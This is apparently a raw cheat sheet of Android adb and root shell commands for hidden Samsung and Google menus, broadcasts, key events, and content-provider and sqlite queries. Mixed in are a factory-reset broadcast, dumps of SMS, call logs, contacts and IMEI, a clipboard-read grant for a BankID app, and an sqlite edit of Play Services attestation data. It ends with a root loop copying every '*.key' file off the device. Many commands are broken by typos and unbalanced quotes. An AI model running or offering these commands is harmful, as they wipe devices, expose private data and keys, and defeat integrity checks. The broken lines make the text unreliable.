adb shell am start com.google.android.gms/.mdm.settings.FindMyDeviceSettingsActivity
adb shell am start com.google.android.gms/.nearby.sharing.ReceiveSurfaceActivity
adb shell su -c am start com.google.android.gms/.accountsettings.mg.ui.main.MainActivity
Launch hidden settings for sms verification codes
adb shell su -c am start com.google.android.gms/.auth.api.phone.ui.AutofillSettingsCollapsingActivity
adb shell am start com.sec.android.app.servicemodeapp/.SysDump
adb shell am start com.sec.android.app.servicemodeapp/.CPDebugLevel
adb shell am start com.sec.android.app.servicemodeapp/.RTN_View
adb shell am start com.sec.android.app.servicemodeapp/.ResetTotalCallTime
adb shell am start com.sec.android.app.servicemodeapp/.TotalCallTime
adb shell am start com.sec.android.app.servicemodeapp/.WifiInfoActivity
adb shell am start com.sec.android.app.servicemodeapp/.NandFlashHeaderRead
adb shell am start com.sec.android.app.servicemodeapp/com.sec.android.app.modemui.activities.PhoneUtil
adb shell am start com.sec.android.app.servicemodeapp/com.sec.android.app.modemui.activities.SetPortUartUsbMSM8960
adb shell am start com.sec.android.app.servicemodeapp/com.sec.android.app.modemui.activities.PhoneUtil_MDM9x15
adb shell am start com.sec.android.app.servicemodeapp/com.sec.android.app.modemui.activities.PhoneUtil_ESC
adb shell am start com.sec.android.app.servicemodeapp/com.sec.android.app.modemui.activities.SetPortUartUSBCTCModel
adb shell am start com.sec.android.app.servicemodeapp/com.sec.android.app.modemui.activities.PhoneUtil_SGLTE
adb shell am start com.sec.android.app.servicemodeapp/com.sec.android.app.modemui.activities.PhoneUtil_TD
adb shell am start com.sec.android.app.servicemodeapp/com.sec.android.app.modemui.activities.PhoneUtil_MarvellVIA
adb shell am start com.sec.android.app.servicemodeapp/com.sec.android.app.modemui.activities.PhoneUtil_Bcom
adb shell am start com.sec.android.app.servicemodeapp/com.sec.android.app.modemui.activities.ShowIMEI
adb shell am start com.sec.android.app.servicemodeapp/com.sec.android.app.modemui.activities.USBSettings
adb shell am start com.sec.android.app.servicemodeapp/com.sec.android.app.modemui.activities.AutoAnswer
adb shell cmd package dump com.samsung.android.app.telephonyui \
|grep "Activity filter" \
|awk '{print $2}'\
|awk '!seen[$0]++'
adb shell cmd package dump com.samsung.android.app.telephonyui\
|grep "Activity filter"\
|awk '{print $2}'\
|awk '!seen[$0]++'
```
com.samsung.android.app.telephonyui/.callsettings.ui.callbackground.CallBackgroundExternalActivity com.samsung.android.app.telephonyui/.emergencydialer.view.EmergencyDialerActivity com.samsung.android.app.telephonyui/.netsettings.ui.esim.QrTransferActivity com.samsung.android.app.telephonyui/.callsettings.ui.preference.CallSettingsActivity com.samsung.android.app.telephonyui/.callsettings.ui.callbackground.imagepreview.ImagePreviewPortActivity com.samsung.android.app.telephonyui/.netsettings.ui.NetSettingsActivity com.samsung.android.app.telephonyui/.carrierui.networkui.app.NoticeDataConnectionDialogActivity com.samsung.android.app.telephonyui/.carrierui.iccnetwork.view.IccNetworkLockDialogActivity com.samsung.android.app.telephonyui/.carrierui.networkui.app.TmoDataRoamDialogActivity com.samsung.android.app.telephonyui/.callsettings.ui.callbackground.imagepreview.ImagePreviewActivity com.samsung.android.app.telephonyui/.callsettings.ui.roamingautodial.RoamingAutoDialMainActivity com.samsung.android.app.telephonyui/.netsettings.ui.esim.ResetEsimActivity com.samsung.android.app.telephonyui/.carrierui.networkui.app.AllowDataConnectionDialogActivity com.samsung.android.app.telephonyui/.carrierui.networkui.app.AutoTimeSetDialogActivity com.samsung.android.app.telephonyui/.callsettings.ui.callbarring.CbCdmaInputPasswordActivity com.samsung.android.app.telephonyui/.callsettings.ui.tty.UseExternalTtyKeyboardActivity com.samsung.android.app.telephonyui/.netsettings.ui.esim.LuiActivity com.samsung.android.app.telephonyui/.callsettings.ui.quickdeclinemessages.QuickDeclineMessagesEditActivity com.samsung.android.app.telephonyui/.netsettings.ui.simcardmanager.SimCardMgrActivity com.samsung.android.app.telephonyui/.callsettings.ui.roamingautodial.RoamingAutoDialSettingsActivity com.samsung.android.app.telephonyui/.callsettings.ui.callbackground.videopreview.VideoPreviewPortActivity com.samsung.android.app.telephonyui/.callsettings.ui.roamingautodial.RoamingAutoDialSubActivity com.samsung.android.app.telephonyui/.callsettings.ui.callbackground.CallBackgroundBaseActivity com.samsung.android.app.telephonyui/.callsettings.ui.callbackground.CallBackgroundBasePortActivity com.samsung.android.app.telephonyui/.emergencydialer.view.EmergencyMedicalInfoActivity com.samsung.android.app.telephonyui/.callsettings.ui.tty.TtyModeDialogActivity com.samsung.android.app.telephonyui/.carrierui.photoring.ui.PhotoringScreenActivity com.samsung.android.app.telephonyui/.carrierui.groupcall.view.GroupCallActivity com.samsung.android.app.telephonyui/.callsettings.ui.spamprotection.SmartCallPrivacyNoticeActivity com.samsung.android.app.telephonyui/.callsettings.ui.callbackground.videopreview.VideoPreviewActivity com.samsung.android.app.telephonyui/.callsettings.ui.aboutphone.AboutPhoneBaseActivity com.samsung.android.app.telephonyui/.callsettings.ui.callingaccounts.MakeCallsWithDialogActivity com.samsung.android.app.telephonyui/.hiddennetworksetting.MainActivity com.samsung.android.app.telephonyui/.callsettings.ui.phonenumberlocator.PhoneNumberLocatorLegalInfoActivity
#### Send simple notification
```bash
adb shell am broadcast \
-n your.package.name/com.google.firebase.iid.FirebaseInstanceIdReceiver \
-c your.package.name \
-a com.google.android.c2dm.intent.RECEIVE
adb shell am broadcast \
-n com.android.google.youtube/com.google.firebase.iid.FirebaseInstanceIdReceiver \
-a "com.google.android.c2dm.intent.RECEIVE" }-es "title" "Title" --es "body" "Body"
adb shell am broadcast \
-n com.your.app/com.google.firebase.iid.FirebaseInstanceIdReceiver \
-a "com.google.android.c2dm.intent.RECEIVE" \
--es "extra1" "65" \
--es "guid" "1f400184-9215-479c-b19a-a9cd9a1d9dc9" \
--es "extra3" "VALUE" \
--es "extra4" "'Long string with spaces'"
adb shell settings put global sysui_demo_allowed 1
adb shell am broadcast -a com.android.systemui.demo \
-e command clock -e hhmm 1200
adb shell am broadcast -a com.android.systemui.demo \
-e command network -e mobile show -e level 4 -e datatype false
adb shell am broadcast -a com.android.systemui.demo \
-e command notifications -e visible false
adb shell am broadcast -a com.android.systemui.demo \
-e command battery -e plugged false -e level 100
adb shell am broadcast -a com.android.systemui.demo
-e command exit
adb shell am broadcast \
-a org.example.app.sp.PUT \
--es key key_name \
--es value "hello world!"'
adb shell am broadcast \
-a org.example.app.sp.REMOVE \
--es key key_name'
adb shell am broadcast \
-a org.example.app.sp.CLEAR \
--es key key_name'
adb shell am broadcast \
-a org.example.app.sp.PUT \
--es name Game \
--es key level \
--ei value 10'
adb shell am start \
-a android.intent.action.VIEW \
-d file:////storage/9A8A-1069/wuseman/ringtones/<mp3_track>.mp3
-t audio/mp3
adb shell am broadcast \
-a org.example.app.sp.PUT \
--es key string \
--es value "hello world!"'
adb shell am broadcast \
-a org.example.app.sp.PUT \
--es key boolean \
--ez value true'
adb shell am broadcast \
-a org.example.app.sp.PUT \
--es key float \
--ef value 3.14159'
adb shell am broadcast \
-a org.example.app.sp.PUT \
--es key int \
--ei value 2015'
adb shell am broadcast \
-a org.example.app.sp.PUT \
--es key long \
--el value 9223372036854775807'
aam broadcast \
-a org.example.app.sp.CLEAR \
--ez restart true'
am start com.sec.android.app.camera/.Camera
am start -a android.media.action.STILL_IMAGE_CAMERA_SECURE
adb shell am start com.google.android.GoogleCamera
adb shell am broadcast \
-a org.example.app.sp.CLEAR \
--es key key_name
adb shell am broadcast \
-a android.intent.action.MASTER_CLEAR
# reboot # < uncomment this for reboot your device,
# otherwise u will need to reboot manually later
# and then it will do a factory reset, you have been warned!
adb shell am start \
-a android.intent.action.VIEW \
am start \
-n com.android.settings/com.android.settings.Settings
am start -a android.intent.action.INSERT \
content://telephony/carriers \
--ei simId
Open Hidden menu screen: select the entry and select "enable"
adb shell "su -c am broadcast \
-a android.provider.Telephony.SECRET_CODE \
-d android_secret_code://HIDDENMENUENABLE"
Open internal operation test menu which lets you look at all sorts of interesting and possibly dangerous goodies
adb shell "su -c am broadcast \
-a android.provider.Telephony.SECRET_CODE
-d android_secret_code://IOTHIDDENMENU"
adb shell "su -c am broadcast \
-a android.provider.Telephony.SECRET_CODE \
-d android_secret_code://UNLOCKKERNEL"
adb shell am start \
-a android.intent.action.VIEW \
-d <url> <add any of below here>
# Default Browser: com.android.browser
# Gogle Chrome Browser: com.android.chrome
# Samsung Browser: com.sec.android.sbrowser)
adb shell am start \
-a android.media.action.IMAGE_CAPTURE
adb shell am start -a android.media.action.IMAGE_CAPTURE
adb shell input keyevent 66
adb shell am start -a android.media.action.VIDEO_CAMERA
adb shell am start -a android.media.action.VIDEO_CAMERA
input keyevent 66
adb shell am start -a android.intent.action.SET_WALLPAPER
adb shell am start \
-a android.intent.action.VIEW \
-d https://www.nr1.nu
am start -a android.intent.action.VIEW \
-d file:///sdcard/sound.ogg
-t audio/ogg
am start -a android.intent.action.VIEW \
-d file:///sdcard/video.mkv \
-t video/mkv
adb shell am start -a android.intent.action.VIEW \
-d "geo:46.457398,-119.407305"
adb shell am set-inactive <packageName>
adb shell am set-inactive <packageName> false
adb shell am start \
--ez show_night_mode true \
com.android.systemui/.tuner.TunerActivity
adb shell am start \
-a android.intent.action.VIEW \
-d facebook://facebook.com/inbox
adb shell am start \
-a android.intent.action.VIEW \
-d file:///sdcard/me.vcard \
-t text/x-vcard
adb shell am start \
-a android.intent.action.GET_CONTENT \
-t image/jpeg
adb shell am broadcast \
-a com.whereismywifeserver.intent.TEST \
--es sms_body "test from adb"
adb shell am set-inactive <packageName>
adb shell am set-inactive <packageName> false
adb shell am start \
-a android.intent.action.VIEW \
-d facebook://facebook.com/inbox
adb shell am start \
-a android.intent.action.VIEW \
-d file:///sdcard/me.vcard \
-t text/x-vcard
adb shell am start \
-a android.intent.action.GET_CONTENT \
-t image/jpeg
adb shell am broadcast \
-a com.whereismywifeserver.intent.TEST \
--es sms_body "test from adb"
adb shell am start \
-a android.settings.APPLICATION_DETAILS_SETTINGS package:<com.package.example>
adb shell input keyevent KEYCODE_MOVE_END
adb shell input keyevent \
--longpress $(printf 'KEYCODE_DEL %.0s' {1..250})
adb shell input keyevent KEYCODE_CALCULATOR
adb shell input keyevent KEYCODE_CALENDAR
adb shell input keyevent KEYCODE_CALL
adb shell input keyevent KEYCODE_CAMERA
adb shell input keyevent KEYCODE_CAPS_LOCK
adb shell input keyevent KEYCODE_CAPTIONS
adb shell input keyevent KEYCODE_CONTACTS
adb shell input keyevent KEYCODE_COPY
adb shell input keyevent KEYCODE_CUT
adb shell input keyevent KEYCODE_DEL
adb shell input keyevent KEYCODE_ENDCALL
adb shell input keyevent KEYCODE_END
adb shell input keyevent KEYCODE_DPAD_UP
adb shell input keyevent KEYCODE_DPAD_DOWN
adb shell input keyevent KEYCODE_DPAD_LEFT
adb shell input keyevent KEYCODE_DPAD_RIGFHT
adb shell input keyevent KEYCODE_GRAVE
adb shell input keyevent KEYCODE_HOME
adb shell input keyevent KEYCODE_MINUS
adb shell input keyevent KEYCODE_PLUS
adb shell input keyevent KEYCODE_NUMPAD_ADD
adb shell input keyevent KEYCODE_NUMPAD_MULTIPLY
adb shell input keyevent KEYCODE_SEARCH
adb shell input keyevent KEYCODE_SETTINGS
adb shell input keyevent KEYCODE_NUMPAD_MULTIPLY
adb shell input keyevent KEYCODE_POUND
adb shell input keyevent KEYCODE_MUTE
adb shell input keyevent KEYCODE_NOTIFICATION
adb shell input keyevent KEYCODE_NOTIFICATION
adb shell input keyevent FLAG_CANCELED_LONG_PRESS
adb shell input keyevent KEYCODE_APP_SWITCH
adb shell input keyevent KEYCODE_BRIGHTNESS_DOWN
adb shell input keyevent KEYCODE_BRIGHTNESS_UP
adb shell input keyevent KEYCODE_BUTTON_SELECT
adb shell am start -a android.intent.action.INSERT \
-t vnd.android.cursor.dir/contact \
-e name 'wuseman' \
-e phone '+467777701' \
-e email '[email protected]' \
-e postal 'Street 10, New York'
adb shell input keyevent 4
adb shell input keyevent 4
adb shell am start -a android.intent.action.INSERT \
-t vnd.android.cursor.dir/contact \
-e name 'wuseman' \
-e phone '+46728999329' \
-e email '[email protected]'
adb shell am start com.samsung.android.dialer/.DialtactsActivity
adb shell am start com.sec.android.app.launcher/com.sec.android.app.launcher.activities.LauncherActivity
adb shell am start \
com.sec.android.app.launcher/com.android.launcher3.uioverrides.QuickstepLauncher
adb shell am start \
com.sec.android.app.launcher/.activities.LauncherActivity
adb shell am start \
com.sec.android.app.launcher/com.sec.android.app.launcher.activities.LauncherActivity
adb shell am start \
com.samsung.android.messaging/com.samsung.android.messaging.ui.view.setting.MainSettingActivity
adb shell am start \
com.samsung.android.messaging/com.android.mms.ui.ConversationComposer
adb shell am start \
com.samsung.android.messaging/com.samsung.android.messaging.ui.view.recipientspicker.PickerActivity
adb shell am start \
com.samsung.android.dialer/com.samsung.android.dialer.calllog.view.picker.CallLogPickerActivity
adb shell am start \
com.sec.android.gallery3d/com.samsung.android.gallery.app.activity.GalleryActivity
adb shell am start \
com.sec.android.app.myfiles/com.sec.android.app.myfiles.external.ui.MainActivity
adb shell am start com.android.settings/com.android.settings.SubSettings
adb shell am start \
com.huawei.android.projectmenu/com.huawei.android.projectmenu.ProjectMenuActivity
Establishes a fake Bluetooth connection to Dialer and must be called first to enable access to all call-related commands.
adb shell am broadcast -a com.android.car.dialer.intent.action.adb --es "action" "connect"
am broadcast \
-a com.android.car.dialer.intent.action.adb \
--es "action" "addCall" \
--es "id" "4085524874"
adb shell am broadcast \
-a com.android.car.dialer.intent.action.adb \
--es "action" "rcvCall" --es "id" "4085524874"
adb shell am broadcast \
-a com.android.car.dialer.intent.action.adb \
--es "action" "endCall" \
--es "id" "4085524874"
adb shell am broadcast \
-a com.android.car.dialer.intent.action.adb \
--es "action" "holdCall"
adb shell am broadcast \
-a com.android.car.dialer.intent.action.adb \
--es "action" "unholdCall"
adb shell am broadcast \
-a com.android.car.dialer.intent.action.adb \
--es "action" "unholdCall"
adb shell am broadcast \
-a com.android.car.dialer.intent.action.adb \
--es "action" "clearAll"
adb shell am start \
-W -c android.intent.category.HOME \
-a android.intent.action.MAIN
Starting: Intent { act=android.intent.action.MAIN
cat=[android.intent.category.HOME] }
Warning: Activity not started, intent has been
delivered to currently running top-most instance.
Status: ok
LaunchState: UNKNOWN (0)
Activity: com.sec.android.app.launcher/com.android.launcher3.uioverrides.QuickstepLauncher
TotalTime: 0
WaitTime: 17
Complete
telecom get-system-dialer
telecom get-default-dialer
telecom get-max-phones
telecom set-system-dialer
telecom get-sim-config
adb shell telecom set-phone-account-enabled <COMPONENT> <ID> <USER_SN>
adb shell telecom set-phone-account-disabled <COMPONENT> <ID> <USER_SN>
adb shell telecom register-phone-account <COMPONENT> <ID> <USER_SN> <LABEL>
adb shell telecom register-sim-phone-account [-e] <COMPONENT> <ID> <USER_SN> <LABEL>: registers a PhoneAccount with CAPABILITY_SIM_SUBSCRIPTION and optionally CAPABILITY_PLACE_EMERGENCY_CALLS if "-e" is provided
adb shell telecom set-user-selected-outgoing-phone-account [-e] <COMPONENT> <ID> <USER_SN>
adb shell telecom set-test-call-redirection-app <PACKAGE>
adb shell telecom set-test-call-screening-app <PACKAGE>
adb shell telecom set-phone-acct-suggestion-component <COMPONENT>
adb shell telecom add-or-remove-call-companion-app <PACKAGE> <1/0>
adb shell telecom register-sim-phone-account <COMPONENT> <ID> <USER_SN> <LABEL> <ADDRESS>
adb shell telecom unregister-phone-account <COMPONENT> <ID> <USER_SN>
adb shell telecom set-call-diagnostic-service <PACKAGE>
adb shell telecom wait-on-handlers
adb shell telecom set-sim-count <COUNT>
adb shell telecom stop-block-suppression
adb shell telecom cleanup-stuck-calls:
adb shell telecom set-emer-phone-account-filter <PACKAGE>
telecom set-phone-account-enabled:
telecom set-phone-account-disabled:
telecom set-call-diagnostic-service:
telecom set-default-dialer:
telecom get-default-dialer
telecom wait-on-handlers:
telecom set-sim-count:
telecom get-sim-config:
telecom get-max-phones:
telecom set-test-emergency-phone-account-package-filter <PACKAGE>:
cmd appops set <package_name> RUN_IN_BACKGROUND ignore
cmd appops set <package_name> RUN_ANY_IN_BACKGROUND ignore
cmd appops set <package_name> START_FOREGROUND ignore
cmd appops set <package_name> INSTANT_APP_START_FOREGROUND ignore
cmd appops set <packagename> READ_CLIPBOARD allow
adb shell input kjeyevent PASTE
adb shell input keyevent 279
service call clipboard 1
adb cmd appops set com.bankid.bus READ_CLIPBOARD allow
am broadcast -a clipper.set -e text "text"
adb shell acip
adb shell acip -b
adb shell acip -c
adb shell acip -t
adb shell acip -V
adb shell dpm set-device-owner \
com.package.name/.DeviceAdminReceiver
adb shell service call statusbar 1
adb shell service call statusbar 2
adb shell service call statusbar 2
adb shell service call iphonesubinfo 1 \
|cut -d "'" -f2 \
|grep -Eo '[0-9]'\
|xargs| sed 's/\ //g'
adb shell service call iphonesubinfo 3 i32 1 \
|grep -oE '[0-9a-f]{8} ' \
| while read hex; do
echo -ne "\u${hex:4:4}\u${hex:0:4}";
done;
echo
adb shell echo "[device.imei]: [$(service call iphonesubinfo 1 \
| awk -F "'" '{print $2}' \
| sed '1 d' \
| tr -d '\n' \
| tr -d '.' \
| tr -d ' ')]"
adb shell service call iphonesubinfo 1 \
|awk -F"'" 'NR>1 { gsub(/\./,"",$2); imei=imei $2 } END {print imei}'
adb shell service call iphonesubinfo 1 \
|cut -c 52-66 \
|tr -d '.[:space:]'"
adb shell service call iphonesubinfo 1 \
|awk -F "'" '{print }' \
|sed '1 d' \
|tr -d '.' \
|awk '{print}' ORS=
Some devices has 2 sim card slot, for print the second simcards imei use below:
- Print IMEI - Slot 2
adb shell service call iphonesubinfo 3 i32 2 \
|grep -oE '[0-9a-f]{8} ' \
|while read hex; do
echo -ne "\u${hex:4:4}\u${hex:0:4}";
done; echo
adb shell settings list global \
|grep "boot_count=" \
|cut -d= -f2 \
|head -n 1 \
|xargs echo "Booted:" \
|sed 's/$/ times/g'
adb shell settings put global policy_control immersive.status=*
adb shell settings put global policy_control immersive.navigation=*
adb shell settings put global policy_control immersive.full=*
adb shell settings put global policy_control null*
Examples to modify the behavior when Enterprise Browser is in the foreground:
adb shell settings put global policy_control \
immersive.full=com.honeywell.enterprisebrowser
adb shell settings put global policy_control \
immersive.navigation=com.honeywell.enterprisebrowser
adb shell settings put global policy_control \
immersive.status=com.honeywell.enterprisebrowser
rg .|rg 'content://.*"' -o \
|cut -d '"' -f1 \
|sed 's/^/adb shell content query --uri /g' \
|sed 'i### Print\'
adb shell "su -c content query --uri content://com.samsung.rcs.autoconfigurationprovider/root/* \
|tr ' ' '\n'"
adb shell "su -c content query \
--uri content://com.samsung.rcs.autoconfigurationprovider/root/application/1/im/fthttpcsuser"
adb shell content delete --uri content://settings/secure --where "name='new_setting'"
adb shellcontent insert \
--uri content://settings/secure \
--bind name:s:user_setup_complete \
--bind value:s:1
adb shell content update --uri content://settings/secure --bind value:s:newer_value --where "name='new_setting'
Select "name" and "value" columns from secure settings where "name" is equal to "new_setting" and sort the result by name in ascending order.
adb shell content query --uri content://settings/secure --projection name:value --where "name='new_setting'" --sort "name ASC"
adb shell 'content read --uri content://settings/system/ringtone_cache' > foo.ogg
adb shell 'content write --uri content://settings/system/ringtone_cache' < host.ogg
adb shell content gettype --uri content://media/internal/audio/media/
Result: vnd.android.cursor.dir/audio
Row: 0 _id=5385, name=Tele2 Services, numeric=24007, mcc=240, mnc=07, carrier_id=-1,
apn=internet.tele2.se, user=, server=, password=, proxy=, port=, mmsproxy=mmsproxy.tele2.se,
adb shell su -c content query --uri content://telephony/carriers/sim_apn_list --projection name:mmsproxy
Row: 0 name=Tele2 Services, mmsproxy=mmsproxy.tele2.se
Row: 1 name=Tele2 IMS, mmsproxy=
Row: 2 name=Tele2 Services, mmsproxy=mmsproxy.tele2.se
Row: 3 name=Tele2 IMS, mmsproxy=
adb shell content query --uri content://com.android.shell.heapdump/
adb shell content query --uri content://call_log/calls
adb shell content query --uri content://call_log_shadow/calls
adb shell content query --uri content://call_log/calls/filter
adb shell content query --uri content://call_log/calls
adb shell content query --uri content://downloads/my_downloads
adb shell content query --uri content://downloads/all_downloads
adb shell content query --uri content://downloads/
adb shell content query --uri content://my.app/live
adb shell content query --uri content://sms-changes
adb shell content query --uri content://sms
adb shell content query --uri content://sms/inbox
adb shell content query --uri content://sms/sent
adb shell content query --uri content://sms/draft
adb shell content query --uri content://sms/outbox
adb shell content query --uri content://sms/conversations
adb shell content query --uri content://carrier_information/carrier
adb shell content query --uri content://mms-sms/threadID
adb shell content query --uri content://mms
adb shell content query --uri content://mms/inbox
adb shell content query --uri content://mms/sent
adb shell content query --uri content://mms/drafts
adb shell content query --uri content://mms/outbox
adb shell content query --uri content://mms-sms/
adb shell content query --uri content://mms-sms/conversations
adb shell content query --uri content://mms-sms/messages/byphone
adb shell content query --uri content://mms-sms/undelivered
adb shell content query --uri content://mms-sms/draft
adb shell content query --uri content://mms-sms/locked
adb shell content query --uri content://mms-sms/search
adb shell su -c content query --uri content://telephony/carriers
adb shell su -c content query \
--uri content://telephony/carriers/sim_apn_list \
--projection name:mmsproxy
adb shell content query --uri content://telephony/carriers/dpc
adb shell content query --uri content://telephony/carriers/filtered
adb shell content query --uri content://telephony/carriers/enforce_managed
adb shell content query --uri content://telephony/carriers/preferapn/subId
adb shell content query --uri content://telephony/carriers/preferapnset/subId
adb shell content query --uri content://cellbroadcasts
adb shell content query --uri content://cellbroadcasts/history
adb shell content query --uri content://cellbroadcast-legacy
adb shell content query --uri content://service-state/
adb shell content query --uri content://carrier_id
adb shell content query --uri content://carrier_id/all
adb shell content query --uri content://telephony/siminfo
adb shell content query --uri content://contacts/settings
adb shell content query --uri content://contacts/people
adb shell content query --uri content://contacts/people/filter
adb shell content query --uri content://contacts/deleted_people
adb shell content query --uri content://contacts/people/with_email_or_im_filter
adb shell content query --uri content://contacts/groups
adb shell content query --uri content://contacts/deleted_groups
adb shell content query --uri content://contacts/phones
adb shell content query --uri content://contacts/phones/filter
adb shell content query --uri content://contacts/groupmembership
adb shell content query --uri content://contacts/groupmembershipraw
adb shell content query --uri content://contacts/contact_methods
adb shell content query --uri content://contacts/contact_methods/email
adb shell content query --uri content://contacts/presence
adb shell content query --uri content://contacts/organizations
adb shell content query --uri content://contacts/photos
adb shell content query --uri content://contacts/extensions
adb shell content query \
--uri content://com.android.contacts/data \
--projection display_name:data1:data4:contact_id
adb shell content query \
--uri content://contacts/phones/ \
--projection display_name:number:notes
adb shell content query \
--uri content://contacts/people/
adb shell bash content query \
--uri content://contacts/people/ \
|wc -l
adb shell content query \
--uri content://contacts/phones/
adb shell content query \
--uri content://contacts/groups/
adb shell content query \
--uri content://contacts/groupmembership/
adb shell content query \
--uri content://contacts/organizations/
adb shellcontent insert \
--uri content://settings/secure \
--bind name:s:user_setup_complete \
--bind value:s:1
adb shell am start \
-n com.google.android.gsf.login/
adb shell am start \
-n com.google.android.gsf.login.LoginActivity
adb shell content query \
--uri content://settings/global
adb shell content query \
--uri content://settings/settings
adb shell content query \
--uri content://settings/seure
adb shell content query \
--uri content://media/external/file \
--projection _data
Select "name" and value
columns from secure settings where
name
is equal to new_setting
and sort the result by name in ascending order
adb shell content query \
--uri content://settings/secure \
--projection name:value
adb shell content delete \
--uri content://settings/secure \
--where "name='new_setting'"
content read \
--uri content://settings/system/ringtone_cache' > a.ogg \
|xargs ffplay a.ogg
adb shell content insert \
--uri content://settings/system \
--bind name:s:accelerometer_rotation \
--bind value:i:1
```bash
adb shell content insert
--uri content://settings/system
--bind name:s:accelerometer_rotation
--bind value:i:0
#### Rotate to landscape
```bash
adb shell content insert \
--uri content://settings/system \
--bind name:s:user_rotation \
--bind value:i:1
adb shell content insert \
--uri content://settings/system \
--bind name:s:user_rotation \
--bind value:i:0
adb shell input swipe 0 0 0 1000
adb shell input swipe 0 1000 0 0
adb shell input swipe 100 4000 200 400
adb shell input swipe 500 1000 0 0
adb shell input swipe 100 100 20 20
adb shell input swipe 100 100 20 1000
adb shell input swipe 100 1000 20 100
adb shell input swipe 0 0 0 300
adb shell input swipe 300 1000 300 500
adb shell wm size
adb shell wm size WxH
adb shell wm overscan 0,0,0,200
It is not so much to describe here, get info via getprop command.
- Example Usage
adb shell getprop \
|grep "model \
|version.sdk \
|manufacturer \
|hardware \
|platform \
|revision \
|serialno \
|product.name \
|brand"
adb shell getprop ro.product.cpu.abi
1 = Enabled
0 = Disabled
adb shell getprop sys.oem_unlock_allowed
adb shell adb shell getprop sys.boot_completed
setprop persist.sys.tel.autoanswer.ms 2000
setprop persist.sys.tel.autoanswer.ms 0
-
0 is the same as 1
echo 1 > /sys/class/backlight/panel/brightness
echo 48600 > /sys/class/backlight/panel/brightness
echo 255 > /sys/class/backlight/panel/brightness
echo 200 > /sys/class/timed_Example Output/vibrator/enable
cat /sys/devices/soc0/hw_platform'
sm set-force-adoptable true
keytool -exportcert -alias your_alias -keystore debug.keystore \
| openssl sha1 -binary \
| openssl base64
keytool -list -v -keystore ~/.android/debug.keystore -alias your_alias
Test any app by pressing 10000 times at once, this will start your application and perform 10000 random events.#
monkey -p com.example.myapp -v 10000
com.google.android.youtube/.app.honeycomb.Shell$HomeActivity
com.google.android.googlequicksearchbox/.SearchActivity
com.google.android.apps.docs.editors.docs/com.google.android.apps.docs.app.NewMainProxyActivity
com.android.documentsui/.LauncherActivity
com.google.android.apps.docs.editors.sheets/com.google.android.apps.docs.app.NewMainProxyActivity
com.google.android.apps.docs.editors.slides/com.google.android.apps.docs.app.NewMainProxyActivity
com.android.vending/.AssetBrowserActivity
/data/user_de/0/com.android.providers.telephony/Log/FileLog0.log
06-06 18:17:04.084 TP/MSP(27290): u:content://mms-sms/selected-conversations?type=all&multipleThreadIds=0, caller:com.samsung.android.messaging
06-06 18:17:08.209 TP/MSP(27290): u:content://mms-sms/selected-conversations?type=all&multipleThreadIds=0, caller:com.samsung.android.messaging
06-07 10:32:17.684 TP/MSP(4617) : u:content://mms-sms/selected-conversations?type=all&multipleThreadIds=0, caller:com.samsung.android.messaging
06-20 16:22:00.555 TP/MSP(8855) : u:content://mms-sms/selected-conversations?type=all&multipleThreadIds=0, caller:com.samsung.android.messaging
07-04 11:39:09.070 TP/BinSms(27174): move() - delete duplicated sms : 0
07-04 11:39:09.103 TP/BinIm(27174): move() - delete duplicated im : 0
07-04 12:04:09.178 TP/BinIm(5264): move() - delete duplicated im : 0
07-04 12:38:35.577 TP/IP(20576) : u:content://im/chat/72, r:1, caller:com.samsung.android.messaging
07-04 13:46:43.746 TP/IP(29004) : u:content://im/chat/77, r:1, caller:com.samsung.android.messaging
07-04 13:57:14.609 TP/IP(29004) : u:content://im/chat/83, r:1, caller:com.samsung.android.messaging
08-16 07:20:44.451 TP/BnR(30184): FILE all backup finished
08-17 07:56:18.262 TP/MSP(9363) : u:content://mms-sms/selected-conversations?type=all&multipleThreadIds=32&multipleThreadIds=24, r:30, caller:com.samsung.android.messaging
cat /data/user_de/0/com.android.providers.telephony/files/carrierconfig-com.android
sqlite3 -line /data/user_de/0/com.android.providers.telephony/databases/telephony.db 'select * from locksettings;'
sqlite3 -line /data/user_de/0/com.android.providers.telephony/databases/telephony.db 'select * from android_metadata'
sqlite3 -line /data/user_de/0/com.android.providers.telephony/databases/telephony.db 'select * from carrier'
sqlite3 -line /data/user_de/0/com.android.providers.telephony/databases/telephony.db 'select * from original'
sqlite3 -line /data/user_de/0/com.android.providers.telephony/databases/telephony.db 'select * * from siminfo'
icc_id = 8946209802SSSSSSSSS
card_id = 8946209802SSSSSSSSS
display_name = CARD
mcc = 0
mnc = 0
icc_id = 8946209802SSSSSSSSS
card_id = 8946209802SSSSSSSSS
carrier_name = Telia
display_name = Telia
mcc = 240
mnc = 7
sqlite3 /data/vendor/radio/qcril.db 'select ICCID from qcril_manual_prov_table'
sqlite3 -line /data/user_de/0/com.android.providers.telephony/databases/telephony.db 'select * from siminfo'
_id = 1
icc_id = xxxxxxxxxxxxxxxxxxxx
sim_id = 1
display_name = Comviq
carrier_name = Comviq
name_source = 3
color = -XXXXXX
number =
display_number_format = 1
data_roaming = 1
mcc = 240
mnc = 7
mcc_string = 240
mnc_string = 07
ehplmns = 24xxx,24xxx,24xxx
hplmns = 24xxx,24xxx,24xxx,24xxx
sim_provisioning_status = 0
is_embedded = 1
card_id = xxxxxxxxxxxxxxxxxxxx
access_rules =
access_rules_from_carrier_configs =
is_removable = 0
enable_cmas_extreme_threat_alerts = 1
enable_cmas_severe_threat_alerts = 1
enable_cmas_amber_alerts = 1
enable_emergency_alerts = 1
alert_sound_duration = 4
alert_reminder_interval = 0
enable_alert_vibrate = 1
enable_alert_speech = 1
enable_etws_test_alerts = 0
enable_channel_50_alerts = 1
enable_cmas_test_alerts = 0
show_cmas_opt_out_dialog = 1
volte_vt_enabled = 1
vt_ims_enabled = 1
wfc_ims_enabled = 1
wfc_ims_mode = 1
wfc_ims_roaming_mode = -1
wfc_ims_roaming_enabled = -1
is_opportunistic = 0
group_uuid =
is_metered = 1
iso_country_code = se
carrier_id = 1696
profile_class = 2
subscription_type = 0
group_owner =
data_enabled_override_rules =
imsi = xxxxxxxxxxxxxxxx
uicc_applications_enabled = 1
allowed_network_types = -1
ims_rcs_uce_enabled = 0
cross_sim_calling_enabled = 0
rcs_config =
allowed_network_types_for_reasons = user=xxxxxxx
voims_opt_in_status = 0
d2d_sharing_status = 0
d2d_sharing_contacts =
grep -vx -f <(sqlite3 Main.db .dump) <(sqlite3 ${DB} .schema)
sqlite3 /data/data/com.google.android.gms/databases/dg.db "update main set c='0' where a like '%attest%';"
for i in `"su -c find /data /system -name '*.key'"`; do
mkdir -p ".`dirname $i`";"su -c cat $i" > ".$i";
done
